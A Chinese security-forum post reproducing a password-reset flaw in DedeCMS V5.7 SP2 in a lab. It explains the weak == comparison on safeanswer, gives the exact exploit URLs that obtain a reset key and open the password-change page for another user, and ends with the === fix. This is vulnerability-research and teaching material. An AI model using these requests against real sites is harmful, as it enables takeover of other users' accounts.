首页
社区
课程
招聘
[原创]漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞
发表于: 2023-8-16 19:28 846

[原创]漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞

2023-8-16 19:28
846

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介

织梦内容管理系统(DeDeCMS)以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统,它在多年的发展中取得了显著进步,无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国,DedeCMS被认为是最受欢迎的CMS系统之一。但是,最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断,攻击者可以利用弱类型比较来绕过安全措施。

二.漏洞原理

DeDecms V5.7SP2正式版存在一个未修复的漏洞,允许任意用户密码重置。漏洞位于member/resetpassword.php文件中,因未对传入的参数safeanswer进行严格类型检查,导致可使用弱类型比较绕过。在代码分析中,当dopost等于safequestion时,通过传入的dopost等于safequestion时,通过传入的mid查询用户信息,判断安全问题和答案是否匹配。由于使用 == 而不是 ===,可绕过判断。当安全问题值为0,答案值为空,经过弱类型处理后仍可通过判断。

三.使用工具

Burp Suite,PHPStudyPro,VMware

四.靶场搭建

织梦CMS V5.7PS2靶场蓝奏云下载:https://wwti.lanzouj.com/iQirO15gp8fg

将解压好的靶场放在PHPStudy的WWW目录下

访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/进行安装(直接继续)

进入管理界面进行配置

五.漏洞复现

首先注册两个测试账号,以用户名作为密码

直接使用浏览器访问payload(http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3)并抓包获取id=3的账号的key(账号:HengMengTest)

获得key后再访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=3&key=x1ZAUMPg会直接跳转到修改密码界面

将密码修改为HengMeng(与账号HengMeng密码一致)修改成功

密码修改成成功,漏洞复现完成

六.防御策略

针对上面 DeDecms任意用户密码重置 漏洞,我们只需要使用 === 来代替 == 就行了。因为 === 操作会同时判断左右两边的值和数据类型是否相等,若有一个不等,即返回 false 。具体修复代码如下:


咱们小屋,喜欢您来:D


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 238
活跃值: (247)
能力值: ( LV3,RANK:21 )
在线值:
发帖
回帖
粉丝
2
0 与任意不可转化为数字的字符串比较(操作符为==), 均返回 true
2023-8-24 15:33
0
游客
登录 | 注册 方可回帖
返回
//